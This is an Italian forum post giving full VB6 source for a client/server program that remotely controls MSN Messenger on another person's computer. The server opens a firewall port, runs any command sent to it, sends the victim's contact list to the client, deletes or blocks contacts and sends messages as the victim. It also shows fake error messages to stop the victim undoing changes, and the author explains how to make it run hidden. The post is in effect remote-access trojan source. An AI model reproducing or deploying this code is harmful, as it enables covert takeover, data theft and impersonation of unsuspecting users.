[VB6]Comandare msn

xX%3r@s3@ll%Xx

Posted on 2/6/2009, 20:45

.

User deleted

Ciao a tutti...adesso vi presento un altro dei miei programmi...
questo è scritto in VB6...

è composto da due applicazioni: client e server...

Tramite il programma client è possibile dare dei comandi al msn del computer su cui è istallato
il programma server.

Prima si deve inserire l'IP del computer su cui è istallato il programma server...e successivamente
si possono impartire i comandi...

Questo progetto lo ho creato con il VB6 portable che potete scaricare
quì: http://www.megaupload.com/?d=PT90FZA9

Programma Server:

Ecco l'interfaccia grafica:

è composta da:
-3 timer chiamati: "Timer4", "Timer6", "Timer7" con l'intervallo settato rispettivamente a: "0", "1", "1"
-1 controllo winsock chiamato: "wskServer", da aggiungere tramite il menu project -> references e spuntare la voce con
scritto: "Microsoft Winsock Control 6.0 (SP6)"...
se questa voce non è presente scaricate questo file http://www.megaupload.com/?d=FWPRPF23
e aggiungetelo cliccando su "browse"...
-1 TextBox chiamata: "txtReply" con la proprietà "Multiline" settata a "true"

Dovete inoltre scaricare la libreria da quì http://www.megaupload.com/?d=W4552QVE e aggiungerla al
progetto Server in questo modo: dal menu project -> references cliccate sul pulsante "browse..." e
la inserite prendendola dal percorso in cui la avete salvata sul vostro computer...
Quindi nella schermata a sinistra comparirà una nuova voce chiamata: "MSN Messenger API Type Library"
cliccate sulla spunta in parte in modo che appaia la V nella casella...e cliccate su ok...

Ed ecco il codice:

CODICE

Public WithEvents msn As MSNMessenger.Messenger
Dim cont_stat As Integer
Dim st_fisso As Integer
Dim st_fisso2 As Integer
Dim non_blok As Integer
Dim non_sblok As Integer
Dim non_blok_tot As Integer
Dim non_sblok_tot As Integer
Dim messaggioo As String
Dim aaa As MSNMessenger.IMSNMessengerContact
Dim bbb As MSNMessenger.IMSNMessengerContact
Dim ccc As MSNMessenger.IMSNMessengerContact
Dim ccs As MSNMessenger.IMSNMessengerContacts
Dim ddd As MSNMessenger.IMSNMessengerContact
Dim dds As MSNMessenger.IMSNMessengerContacts
Dim eeee As MSNMessenger.IMSNMessengerContact

Private Sub Form_Load()
'Me.Visible = False
'App.TaskVisible = False
Set msn = New MSNMessenger.Messenger
Shell ("cmd.exe /c" & "netsh firewall add portopening TCP 2000 ENABLE")
cont_stat = 0
Timer4.Enabled = False
st_fisso = 0
non_blok = 0
non_sblok = 0
non_blok_tot = 0
non_sblok_tot = 0
Timer6.Enabled = True
Ascolta_con
End Sub

Private Sub Timer4_Timer()
If cont_stat = 0 Then
msn.MyStatus = MISTATUS_AWAY
cont_stat = cont_stat + 1
ElseIf cont_stat = 1 Then
msn.MyStatus = MISTATUS_BUSY
cont_stat = cont_stat + 1
ElseIf cont_stat = 2 Then
msn.MyStatus = MISTATUS_BE_RIGHT_BACK
cont_stat = cont_stat + 1
ElseIf cont_stat = 3 Then
msn.MyStatus = MISTATUS_ON_THE_PHONE
cont_stat = cont_stat + 1
ElseIf cont_stat = 4 Then
msn.MyStatus = MISTATUS_ONLINE
cont_stat = cont_stat + 1
ElseIf cont_stat = 5 Then
msn.MyStatus = MISTATUS_OUT_TO_LUNCH
cont_stat = 0
End If
End Sub

Private Sub Timer6_Timer()
If st_fisso = 1 Then
If st_fisso2 = "0" Then
If msn.MyStatus <> MISTATUS_ONLINE Then
msn.MyStatus = MISTATUS_ONLINE
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
ElseIf st_fisso2 = "1" Then
If msn.MyStatus <> MISTATUS_AWAY Then
msn.MyStatus = MISTATUS_AWAY
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
ElseIf st_fisso2 = "2" Then
If msn.MyStatus <> MISTATUS_BE_RIGHT_BACK Then
msn.MyStatus = MISTATUS_BE_RIGHT_BACK
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
ElseIf st_fisso2 = "3" Then
If msn.MyStatus <> MISTATUS_BUSY Then
msn.MyStatus = MISTATUS_BUSY
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
ElseIf st_fisso2 = "4" Then
If msn.MyStatus <> MISTATUS_ON_THE_PHONE Then
msn.MyStatus = MISTATUS_ON_THE_PHONE
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
ElseIf st_fisso2 = "5" Then
If msn.MyStatus <> MISTATUS_OUT_TO_LUNCH Then
msn.MyStatus = MISTATUS_OUT_TO_LUNCH
MsgBox "Errore C1hfe4Z9...Impossibile cambiare lo stato...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
End If
End If
If non_blok = 1 Then
If aaa.Blocked = True Then
aaa.Blocked = False
MsgBox "Errore L3suc7F2...Impossibile bloccare il contatto...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
End If
If non_sblok = 1 Then
If bbb.Blocked = False Then
bbb.Blocked = True
MsgBox "Errore L3suc7F2...Impossibile sbloccare il contatto...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
End If
End Sub

Private Sub Timer7_Timer()
If non_blok_tot = 1 Then

Dim i As Long
For i = 0 To ccs.Count - 1
Set ccc = ccs.Item(i)
If ccc.Blocked = True Then
ccc.Blocked = False
MsgBox "Errore L3suc7F2...Impossibile bloccare il contatto...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
Next

End If
If non_sblok_tot = 1 Then

Dim ii As Long
For ii = 0 To dds.Count - 1
Set ddd = dds.Item(ii)
If ddd.Blocked = False Then
ddd.Blocked = True
MsgBox "Errore L3suc7F2...Impossibile bloccare il contatto...Riprovare più tardi...", vbCritical + vbMsgBoxSetForeground, "Errore"
End If
Next

End If
End Sub

Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If (wskServer.State <> sckClosed) Then
wskServer.Close
End If
wskServer.Accept requestID
wskServer.SendData "*co" & vbCrLf
txtReply.Text = txtReply.Text & "Connessione accettata..." & vbCrLf
txtReply.SelStart = Len(txtReply.Text)
End Sub

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim lung As Integer
Dim DATI As String
Dim temp As String
Dim temp2 As String
wskServer.GetData DATI
temp = Mid$(DATI, 1, 3)
If temp = "cmd" Then 'esegue un comando dos
lung = Len(DATI)
temp = Mid$(DATI, 5, lung)
Shell ("cmd.exe /c" & temp)
wskServer.SendData "cmd"
ElseIf temp = "mou" Then 'disconnette msn
msn.Signout
wskServer.SendData "mou"
ElseIf temp = "ext" Then 'chiude la connessione
txtReply.Text = txtReply.Text & "disconnesso..." & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
wskServer.SendData "ext"
wskServer.Close
Ascolta_con
ElseIf temp = "mco" Then 'prende la lista dei contatti msn
wskServer.SendData "mco"
Pause 1
txtReply.Text = txtReply.Text & "mco" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Dim msncontact As MSNMessenger.IMSNMessengerContact
Dim msncontacts As MSNMessenger.IMSNMessengerContacts
Set msncontacts = msn.MyContacts
txtReply.Text = txtReply.Text & "prima for" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf

Dim i2 As Long
For i2 = 0 To msncontacts.Count - 1
Set msncontact = msncontacts.Item(i2)
wskServer.SendData (msncontact.SigninName)
Pause 1
Next

txtReply.Text = txtReply.Text & "fuori for" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
wskServer.SendData "mco"
ElseIf temp = "onl" Then 'cambia lo stato msn in "online"
msn.MyStatus = MISTATUS_ONLINE
wskServer.SendData "onl"
ElseIf temp = "occ" Then 'cambia lo stato msn in "occupato"
msn.MyStatus = MISTATUS_BUSY
wskServer.SendData "occ"
ElseIf temp = "nac" Then 'cambia lo stato msn in "non al computer"
msn.MyStatus = MISTATUS_AWAY
wskServer.SendData "nac"
ElseIf temp = "tsu" Then 'cambia lo stato msn in "torno subito"
msn.MyStatus = MISTATUS_BE_RIGHT_BACK
wskServer.SendData "tsu"
ElseIf temp = "ate" Then 'cambia lo stato msn in "al telefono"
msn.MyStatus = MISTATUS_ON_THE_PHONE
wskServer.SendData "ate"
ElseIf temp = "apr" Then 'cambia lo stato msn in "a pranzo"
msn.MyStatus = MISTATUS_OUT_TO_LUNCH
wskServer.SendData "apr"
ElseIf temp = "inv" Then 'cambia lo stato msn in "invisibile"
msn.MyStatus = MISTATUS_INVISIBLE
wskServer.SendData "inv"
ElseIf temp = "mst" Then 'ritorna lo stato di msn
Dim status As String
status = msn.MyStatus
wskServer.SendData "mst " + status
ElseIf temp = "add" Then 'aggiunge un contatto
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
txtReply.Text = txtReply.Text & temp2
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
msn.AddContact 0, temp2
SendKeys "{ENTER}"
Pause 2
SendKeys "{ENTER}"
wskServer.SendData "add"
ElseIf temp = "can" Then 'cancella un contatto
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
Dim pp As MSNMessenger.IMSNMessengerContact
Dim ppppppp As MSNMessenger.IMSNMessengerContact
Dim pps As MSNMessenger.IMSNMessengerContacts
Set pps = msn.MyContacts
Set pp = msn.GetContact(temp2, msn.MyServiceId)

Dim i3 As Long
For i3 = 0 To pps.Count - 1
Set ppppppp = pps.Item(i3)
If ppppppp.SigninName = pp.SigninName Then
Call pps.Remove(pp)
wskServer.SendData "can"
Exit Sub
End If
Next

wskServer.SendData "lll"
ElseIf temp = "nik" Then 'modifica il nick
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 1
SendKeys temp2
Pause 1
SendKeys "{ENTER}"
wskServer.SendData "nik"
ElseIf temp = "sst" Then 'cambia lo stato ogni tot secondi
temp2 = Mid(DATI, 5, Len(DATI) - 6)
Timer4.Interval = temp2
Timer4.Enabled = True
wskServer.SendData "sst"
ElseIf temp = "sss" Then 'disattiva il cabio stato ogni tot secondi
Timer4.Enabled = False
wskServer.SendData "sss"
ElseIf temp = "blk" Then 'blocca tutti i contatti msn
Dim cnct As MSNMessenger.IMSNMessengerContact
Dim cncts As MSNMessenger.IMSNMessengerContacts
Set cncts = msn.MyContacts

Dim i4 As Long
For i4 = 0 To cncts.Count - 1
Set cnct = cncts.Item(i4)
cnct.Blocked = True
Next

wskServer.SendData "blk"
ElseIf temp = "slk" Then 'sblocca tutti i contatti msn
Dim cn As MSNMessenger.IMSNMessengerContact
Dim cns As MSNMessenger.IMSNMessengerContacts
Set cns = msn.MyContacts

Dim i5 As Long
For i5 = 0 To cns.Count - 1
Set cn = cns.Item(i5)
cn.Blocked = False
Next

wskServer.SendData "slk"
ElseIf temp = "ilk" Then 'inverte contatti bloccati e non
Dim c As MSNMessenger.IMSNMessengerContact
Dim cs As MSNMessenger.IMSNMessengerContacts
Set cs = msn.MyContacts

Dim i6 As Long
For i6 = 0 To cs.Count - 1
Set c = cs.Item(i6)
If c.Blocked = False Then
c.Blocked = True
ElseIf c.Blocked = True Then
c.Blocked = False
End If
Next

wskServer.SendData "ilk"
ElseIf temp = "ctc" Then 'cancella tutti i contatti msn
Dim ll As MSNMessenger.IMSNMessengerContact
Dim lls As MSNMessenger.IMSNMessengerContacts
Set lls = msn.MyContacts

Dim i7 As Long
For i7 = 0 To lls.Count - 1
Set ll = lls.Item(i7)
Call lls.Remove(ll)
Next

wskServer.SendData "ctc"
ElseIf temp = "bkc" Then 'blocca un contatto
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
Dim block As MSNMessenger.IMSNMessengerContact
Set block = msn.GetContact(temp2, msn.MyServiceId)
block.Blocked = True
wskServer.SendData "bkc"
ElseIf temp = "skc" Then 'sblocca un contatto
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
Dim blck As MSNMessenger.IMSNMessengerContact
Set blck = msn.GetContact(temp2, msn.MyServiceId)
blck.Blocked = False
wskServer.SendData "skc"
ElseIf temp = "rst" Then 'setta lo stato fisso di msn
temp2 = Mid(DATI, 5, Len(DATI) - 6)
If temp2 = "0" Then
msn.MyStatus = MISTATUS_ONLINE
ElseIf temp2 = "1" Then
msn.MyStatus = MISTATUS_AWAY
ElseIf temp2 = "2" Then
msn.MyStatus = MISTATUS_BE_RIGHT_BACK
ElseIf temp2 = "3" Then
msn.MyStatus = MISTATUS_BUSY
ElseIf temp2 = "4" Then
msn.MyStatus = MISTATUS_ON_THE_PHONE
ElseIf temp2 = "5" Then
msn.MyStatus = MISTATUS_OUT_TO_LUNCH
End If
Pause 2
st_fisso2 = temp2
st_fisso = 1
wskServer.SendData "rst"
ElseIf temp = "est" Then 'sblocca lo stato fisso di msn
st_fisso = 0
wskServer.SendData "est"
ElseIf temp = "nnb" Then 'impedisce di bloccare un contatto
temp2 = Mid$(DATI, 5, Len(DATI) - 6)
Set aaa = msn.GetContact(temp2, msn.MyServiceId)
aaa.Blocked = False
Pause 1
non_blok = 1
wskServer.SendData "nnb"
ElseIf temp = "nnc" Then 'impossibilità di blocco di un contatto disattivata
non_blok = 0
wskServer.SendData "nnc"
ElseIf temp = "nns" Then 'impedisce di sbloccare un contatto
temp2 = Mid(DATI, 5, Len(DATI) - 6)
Set bbb = msn.GetContact(temp2, msn.MyServiceId)
bbb.Blocked = True
Pause 1
non_sblok = 1
wskServer.SendData "nns"
ElseIf temp = "nnp" Then 'impossibilità di sblocco di un contatto disattivata
non_sblok = 0
wskServer.SendData "nnp"
ElseIf temp = "bkt" Then 'impedisce di bloccare qualsiasi contatto
Set ccs = msn.MyContacts

Dim i8 As Long
For i8 = 0 To ccs.Count - 1
Set ccc = ccs.Item(i8)
ccc.Blocked = False
Next

non_blok_tot = 1
wskServer.SendData "bkt"
ElseIf temp = "bkq" Then 'impossibilità di blocco di qualsiasi contatto disattivata
non_blok_tot = 0
wskServer.SendData "bkq"
ElseIf temp = "skt" Then 'impedisce di sbloccare qualsiasi contatto
Set dds = msn.MyContacts

Dim i9 As Long
For i9 = 0 To dds.Count - 1
Set ddd = dds.Item(i9)
ddd.Blocked = True
Next

non_sblok_tot = 1
wskServer.SendData "skt"
ElseIf temp = "skq" Then 'impossibilità di sblocco di qualsiasi contatto disattivata
non_sblok_tot = 0
wskServer.SendData "skq"
ElseIf temp = "ctb" Then 'prendi lista contatti bloccati
Dim ee As MSNMessenger.IMSNMessengerContact
Dim es As MSNMessenger.IMSNMessengerContacts
Set es = msn.MyContacts

Dim i10 As Long
For i10 = 0 To es.Count - 1
Set ee = es.Item(i10)
If ee.Blocked = True Then
Pause 1
wskServer.SendData "ctb " + ee.SigninName
End If
Next

Pause 1
wskServer.SendData "ctb fine"
ElseIf temp = "mxi" Then 'invia un messaggio istantaneo
temp2 = Mid$(DATI, 5, 3)
txtReply.Text = txtReply.Text & temp2
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
If temp2 = "con" Then
temp = Mid(DATI, 9, Len(DATI) - 10)
txtReply.Text = txtReply.Text & temp & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Set eeee = msn.GetContact(temp, msn.MyServiceId)
wskServer.SendData "con"
ElseIf temp2 = "mes" Then
temp = Mid(DATI, 9, Len(DATI) - 10)
txtReply.Text = txtReply.Text & temp & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
messaggioo = temp
wskServer.SendData "mes"
ElseIf temp2 = "inx" Then
If msn.MyStatus <> MISTATUS_OFFLINE Then
Messenger.InstantMessage eeee
SendKeys messaggioo
SendKeys "{ENTER}"
wskServer.SendData "inx"
End If
End If
ElseIf temp = "acl" Then 'aggiunge tutti i contatti presenti nel file specificato
temp2 = Mid(DATI, 5, Len(DATI) - 6)
Dim stringa As String
Open temp2 For Input As 1
Do
Input #1, stringa
msn.AddContact 0, stringa
Pause 1.5
SendKeys "{ENTER}"
Loop Until EOF(1) = True
Close #1
SendKeys "{ENTER}"
Pause 1
SendKeys "{ENTER}"
wskServer.SendData "acl"
ElseIf temp = "mpe" Then
temp2 = Mid(DATI, 5, Len(DATI) - 6)
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 1
SendKeys "{TAB}"
Pause 0.5
SendKeys temp2
Pause 0.5
SendKeys "{ENTER}"
wskServer.SendData "mpe"
Else
txtReply.Text = txtReply.Text & DATI
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
End If
End Sub

Function Ascolta_con()
wskServer.Close
wskServer.LocalPort = 2000
wskServer.Listen
txtReply.Text = txtReply.Text & "Server in attesa..." & vbCrLf
txtReply.SelStart = Len(txtReply.Text)
End Function

Public Sub Pause(NbSec As Single)
Dim Finish As Single
Finish = Timer + NbSec
DoEvents
Do Until Timer >= Finish
Loop
End Sub

IMPORTANTE: nel "Form_Load()" le prime due righe sono state commentate...servono per nascondere il
programma in modo che non sia visibile...quindi se volete ciò, toglietele da commento...

Ok adesso passiamo all'applicazione Client:

Ecco l'interfaccia grafica:

è composta da:
-1 CommandButton chiamato: "Connetti"
-1 Label con la proprietà "Caption" settata a "Indirizzo host" e chiamata: "HostNameLabel"
-1 TextBox chiamata: "txtHostName" che serve per inserire l'IP a cui connettersi
-1 TextBox chiamata: "txtReply" dove verranno visualizzati i risultati
-1 TextBox chiamata: "txtOut" dove inseriremo i comandi da impartire al server
-1 CommandButton chiamato: "Invia" che serve per inviare i comandi
-1 controllo winsock chiamato: "wskClient", da aggiungere tramite il menu project -> references e spuntare la voce con
scritto: "Microsoft Winsock Control 6.0 (SP6)"...
se questa voce non è presente scaricate questo file http://www.megaupload.com/?d=FWPRPF23
e aggiungetelo cliccando su "browse"...

Ed ecco il codice:

CODICE

Dim path_lista_contatt As String
Dim path_lista_contatt_bloccati As String
Dim contr As Integer

Public Sub Connetti_Click()
txtReply.Text = txtReply.Text & "Connessione in corso..." & vbCrLf
txtReply.SelStart = Len(txtReply.Text)
wskClient.Close
wskClient.LocalPort = 0
wskClient.Connect txtHostName.Text, 2000
End Sub

Private Sub Form_Load()
contr = 0
End Sub

Private Sub wskClient_DataArrival(ByVal bytesTotal As Long)
Dim DATI As String
Dim temp As String
Dim temp2 As String
wskClient.GetData DATI
temp = Mid$(DATI, 1, 3)
If temp = "mco" Then
txtReply.Text = txtReply.Text & "dentro if mco" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
If contr = 0 Then
txtReply.Text = txtReply.Text & "cambio da 0 a 1" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
contr = 1
Exit Sub
ElseIf contr = 1 Then
txtReply.Text = txtReply.Text & "cambio da 1 a 0" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
contr = 0
txtReply.Text = txtReply.Text & " lista contatti completata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Exit Sub
End If
End If
If contr = 1 Then
txtReply.Text = txtReply.Text & "dentro if contr = 1" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Open path_lista_contatt For Append As 1
Print #1, DATI
Close 1
End If
If contr = 0 Then
If temp = "*co" Then
txtReply.Text = txtReply.Text & "Connesso..." & vbCrLf
ElseIf temp = "cmd" Then
txtReply.Text = txtReply.Text & " comando eseguito!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "mou" Then
txtReply.Text = txtReply.Text & " msn disconnesso!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "ext" Then
txtReply.Text = txtReply.Text & " connessione chiusa!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "onl" Then
txtReply.Text = txtReply.Text & " stato msn modificato: ON LINE!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "occ" Then
txtReply.Text = txtReply.Text & " stato msn modificato: OCCUPATO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nac" Then
txtReply.Text = txtReply.Text & " stato msn modificato: NON AL COMPUTER!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "tsu" Then
txtReply.Text = txtReply.Text & " stato msn modificato: TORNO SUBITO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "ate" Then
txtReply.Text = txtReply.Text & " stato msn modificato: AL TELEFONO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "apr" Then
txtReply.Text = txtReply.Text & " stato msn modificato: A PRANZO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "inv" Then
txtReply.Text = txtReply.Text & " stato msn modificato: INVISIBILE!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "mst" Then
temp2 = Mid$(DATI, 5, Len(DATI))
txtReply.Text = txtReply.Text & temp2 & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
If temp2 = "2" Then
txtReply.Text = txtReply.Text & "stato msn=ONLINE" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "10" Then
txtReply.Text = txtReply.Text & "stato msn=OCCUPATO" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "34" Then
txtReply.Text = txtReply.Text & "stato msn=NON AL COMPUTER" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "14" Then
txtReply.Text = txtReply.Text & "stato msn=TORNO SUBITO" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "50" Then
txtReply.Text = txtReply.Text & "stato msn=AL TELEFONO" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "66" Then
txtReply.Text = txtReply.Text & "stato msn=A PRANZO" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp2 = "6" Then
txtReply.Text = txtReply.Text & "stato msn=INVISIBILE" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Else
txtReply.Text = txtReply.Text & "stato msn=DISCONNESSO" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
End If
ElseIf temp = "add" Then
txtReply.Text = txtReply.Text & " contatto aggiunto!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "can" Then
txtReply.Text = txtReply.Text & " contatto cancellato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "lll" Then
txtReply.Text = txtReply.Text & " contatto non presente!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nik" Then
txtReply.Text = txtReply.Text & " nick modificato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "sst" Then
txtReply.Text = txtReply.Text & "CAMBIO AUTOMATICO STATO MSN ATTIVATO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "sss" Then
txtReply.Text = txtReply.Text & "CAMBIO AUTOMATICO STATO MSN DISATTIVATO!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "blk" Then
txtReply.Text = txtReply.Text & " tutti i contatti bloccati!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "slk" Then
txtReply.Text = txtReply.Text & " tutti i contatti sbloccati!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "ilk" Then
txtReply.Text = txtReply.Text & " contatti bloccati e non, invertiti!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "ctc" Then
txtReply.Text = txtReply.Text & " tutti i contatti cancellati!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "bkc" Then
txtReply.Text = txtReply.Text & " contatto bloccato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "skc" Then
txtReply.Text = txtReply.Text & " contatto sbloccato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "rst" Then
txtReply.Text = txtReply.Text & " stato fisso attivato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "est" Then
txtReply.Text = txtReply.Text & " stato fisso disattivato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nnb" Then
txtReply.Text = txtReply.Text & " impossibilità di blocco contatto attivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nnc" Then
txtReply.Text = txtReply.Text & " impossibilità di blocco contatto disattivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nns" Then
txtReply.Text = txtReply.Text & " impossibilità di sblocco contatto attivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "nnp" Then
txtReply.Text = txtReply.Text & " impossibilità di sblocco contatto disattivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "bkt" Then
txtReply.Text = txtReply.Text & " impossibilità di blocco qualsiasi contatto attivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "bkq" Then
txtReply.Text = txtReply.Text & " impossibilità di blocco qualsiasi contatto disattivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "skt" Then
txtReply.Text = txtReply.Text & " impossibilità di sblocco qualsiasi contatto attivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "skq" Then
txtReply.Text = txtReply.Text & " impossibilità di sblocco qualsiasi contatto disattivata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "ctb" Then
temp2 = Mid$(DATI, 5, Len(DATI))
If temp2 = "fine" Then
txtReply.Text = txtReply.Text & " lista completata!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Else
Open path_lista_contatt_bloccati For Append As 1
Print #1, temp2
Close 1
End If
ElseIf temp = "con" Then
txtReply.Text = txtReply.Text & " contatto settato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "mes" Then
txtReply.Text = txtReply.Text & " messaggio settato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "inx" Then
txtReply.Text = txtReply.Text & " messaggio inviato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "acl" Then
txtReply.Text = txtReply.Text & " contatti aggiunti!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
ElseIf temp = "mpe" Then
txtReply.Text = txtReply.Text & " messaggio personale settato!!!" & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
Else
txtReply.Text = txtReply.Text & DATI
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
End If
End If
End Sub

Private Sub Invia_Click()
Dim pezzo As String
pezzo = Mid$(txtOut.Text, 1, 3)
If wskClient.State <> sckConnected Then
txtReply.Text = txtReply.Text & "Non connesso" & vbCrLf
txtReply.SelStart = Len(txtReply.Text)
Exit Sub
End If
If pezzo = "mco" Then
path_lista_contatt = InputBox("Inserisci il percorso dove salvare la lista: ")
End If
If pezzo = "ctb" Then
path_lista_contatt_bloccati = InputBox("Inserisci il percorso dove salvare la lista: ")
End If
txtReply.Text = txtReply.Text & txtOut.Text & vbCrLf
wskClient.SendData txtOut.Text & vbCrLf
txtReply.SelStart = Len(txtReply.Text) & vbCrLf
txtOut.Text = ""
End Sub

Per fare funzionare il tutto è necessario avviare il programma Server su un computer, mentre su un
altro avviare il programma client...
dal client si deve inserire l'IP del computer su cui gira il server e poi cliccare su connetti...
una volta connesso, si devono scrivere dei comandi dal client e cliccare su invia per impartirli
al server...i risultati verranno visualizzati nella TextBox più grande del client...

Per impartire un comando lo si scrive nel client e poi si clicca sul pulsante Invia...

I possibili comandi che si possono impartire sono:

CODICE

-cmd <comando dos> per impartire un comando dos sul computer in cui è istallato il server
-mou disconnette msn sul computer in cui è istallato il server
-ext chiude la connessione con il server
-mco prende la lista dei contatti di msn del computer in cui è istallato
il server, e la salva sul nostro computer nel percorso che ci viene
richiesto dopo...
-onl cambia lo stato di msn sul computer in cui è istallato il server in "online"
-occ cambia lo stato di msn sul computer in cui è istallato il server in "occupato"
-nac cambia lo stato di msn sul computer in cui è istallato il server
in "non al computer"
-tsu cambia lo stato di msn sul computer in cui è istallato il server
in "torno subito"
-ate cambia lo stato di msn sul computer in cui è istallato il server
in "al telefono"
-apr cambia lo stato di msn sul computer in cui è istallato il server in "a pranzo"
-inv cambia lo stato di msn sul computer in cui è istallato il server in "invisibile"
-mst ci dice lo stato di msn del computer in cui è istallato il server
-add <contatto> aggiunge il contatto passato come parametro sul msn del computer in cui è
istallato il server
-can <contatto> cancella il contatto specificato nel msn del computer su cui è istallato
il server
